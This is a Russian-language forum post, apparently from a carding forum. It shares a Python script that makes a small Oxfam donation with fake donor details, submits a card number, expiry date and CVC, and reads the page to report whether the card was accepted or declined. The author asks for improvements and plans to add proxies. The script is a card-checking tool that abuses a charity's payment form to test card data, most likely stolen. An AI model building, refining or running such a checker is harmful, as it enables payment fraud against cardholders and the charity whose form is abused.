У вас должно быть более 20 реакций для просмотра скрытого контента.
Код:
import requests
from bs4 import BeautifulSoup
#запрос
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}
url1 = "https://www.oxfam.org/en/donate/global-emergency-fund"
data1 = {
"amount": "5",
"email": "test@test.com",
"first-name": "John",
"last-name": "Doe",
"country": "IT",
"terms-and-conditions": "1"
}
# первая сессия
response1 = requests.post(url1, data=data1, headers=headers)
session_cookie = response1.cookies.get("SESS")
headers2 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": f"SESS={session_cookie}"}
url2 = "https://www.oxfam.org/en/donate/oxfampay"
data2 = {
"card-number": "4284554621452395",
"expiry-date": "12 25",
"cvc": "25306"
}
# 2 запрос
response2 = requests.post(url2, data=data2, headers=headers2)
# валид чи нет
soup2 = BeautifulSoup(response2.text, "html.parser")
if soup2.find("h2", string="Thank you for your donation"):
print("Donation successful!")
elif soup2.find("p", string="Your card has been declined."):
print("Your card has been declined.")
else:
print("A processing error occurred.")
тестовый скрипт, не могу понять работает корректно или нет, вроде показывает правильно, но не до конца понимаю правильно ли работает, в скрипте есть лишние моменты, делал за 40 мин. Надеюсь на критику и советы по улучшению, тк новичек в этом. Прокси не настраивал пока но это сделать не проблема, тестил на DE сервере.